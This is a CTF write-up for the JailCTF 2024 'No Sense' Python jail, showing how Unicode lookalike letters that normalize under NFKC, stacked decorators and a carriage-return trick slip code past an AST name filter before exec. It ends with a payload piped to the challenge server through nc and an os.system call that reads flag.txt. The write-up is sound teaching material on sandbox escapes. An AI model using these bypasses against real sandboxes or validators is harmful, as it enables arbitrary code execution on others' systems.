MisTrale Write UpMisTrale Write Up
Buy me a coffee ☕
  • English
  • Français
GitHub
Buy me a coffee ☕
  • English
  • Français
GitHub
    • 🏁 Introduction
    • 🌟 Acknowledgments
  • 💀 Root-Me 20k

    • 💀 Root Me - 20k
    • ❤️ Bash - Love Me
    • 🛑 Python - Not This Way
    • 📚 NodeJs - Never Trust Node One
  • ⛓️ JailCTF-2024

    • 👮 JailCTF - 2024
    • 🔠 !Alphabeat
    • 🧑‍🦯 Blind Calc
    • 🎉 Parity 1
    • 🎈 Parity 2
    • 🪄 Pickle Magic
    • ☎️ Get and Call
    • ⁉️ No Sense
    • 🟩 Filter'd
    • 🧐 SUS Calculator
  • 🕹️ TCP1P

    • 🎮 Another Discord
  • 🧮 GCC-2024

    • 😅 soBusy
  • 🌛 Midnight

    • 🌃 Midnight
    • ✨ Privesc - 1
    • 🔑 Privesc - 2
    • 👑 Privesc - 3
    • 🎭 My Face

⁉️ No Sense

👀 Before you start

You can donate to me via Buy Me a Coffee or follow me on Github

📖 Challenge Statement

#!/usr/local/bin/python3
from ast import parse, NodeVisitor

inp = input('> ')
if any(c in inp for c in '([=])'):
    print('no.')
    exit()

class NoNonsenseVisitor(NodeVisitor):
    def visit_Name(self, n):
        if n.id in inp:  # surely impossible to get around this since all utf8 chars will be the same between ast.parse and inp, right?
            print('no ' + n.id)
            exit()


NoNonsenseVisitor().visit(parse(inp))

exec(inp)  # management told me they need to use exec and not eval. idk why but they said something about multiline statements? idk

🚩 Getting the Flag

We are now tasked with bypassing an AST (Abstract Syntax Tree).

Let’s analyze the code step by step:

  • The program takes user input.
  • It checks if the input contains any of the characters ([=]). If it does, it prints no. and exits.
  • The NoNonsenseVisitor class inherits from NodeVisitor.
  • The visit_Name method takes n as a parameter.
  • It checks if n.id is in inp. If true, it prints no followed by n.id and exits.
  • The AST of the input is visited.
  • Finally, the input is executed using exec.
  • The primary issue is that the input must not contain letters [a-zA-Z].

Since we have an exec, we can perform stylish payload injections. For example:

Comme ça par exemple:

❯ python3 main.py
> print
no print

❯ python3 main.py
> 𝘱𝘳𝘪𝘯𝘵

Using stylish characters, we can bypass the challenge.

Now we need to find a way to either read the flag.txt file or execute a command.

To open the flag.txt file and bypass the AST, we can use Python decorators.

>>> def func(x):
...     print("FUNC WAS CALLED SOMEWHERE")
...
>>> @func
... class z:
...     pass
...
FUNC WAS CALLED SOMEWHERE
>>>

This is interesting, but how do we use it to read the flag.txt file ?

If you followed the Parity-2 writeup, we know a trick to read the content of a file using only a for loop.

We can use the same trick here.

>>> for 𝘱𝘢𝘵𝘩 in {lambda _: "flag.txt"}:
...     @print
...     @list
...     @open
...     @path
...     class z:
...             pass
...
['jail{flag_will_be_here_on_remote}\n']

Now, we use another trick to put everything on a single line by using \r.

inp = """@𝘦𝘹𝘦𝘤\r@𝘪𝘯𝘱𝘶𝘵\rclass\x0ca:pass"""

print(inp)

Finally, we send the payload to the server:

$ python3 payload.py | nc challs1.pyjail.club 6197
__import__('os').system('cat flag.txt')
jail{the_no_in_no_nonsense_stands_for_normal_as_in_nfkc_normalized}

And there you go, we’ve obtained the flag: jail{the_no_in_no_nonsense_stands_for_normal_as_in_nfkc_normalized}.

💖 Support

👀 Before you leave

You can donate to me via Buy Me a Coffee or follow me on Github

Prev
☎️ Get and Call
Next
🟩 Filter'd